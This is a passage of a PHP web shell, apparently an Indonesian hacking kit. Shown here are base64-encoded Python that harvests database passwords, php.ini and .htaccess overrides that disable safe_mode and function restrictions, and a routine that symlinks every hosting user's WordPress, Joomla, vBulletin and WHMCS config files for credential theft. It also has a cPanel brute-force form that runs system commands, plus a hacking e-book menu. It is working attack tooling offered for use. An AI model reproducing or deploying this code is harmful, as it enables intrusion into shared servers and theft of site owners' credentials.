pKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#00FFFF">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00FFFF">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00FFFF>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tutor'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker's HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</td></form>
<td><form method="post" action="">
Tutorial by X'1N73CT :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
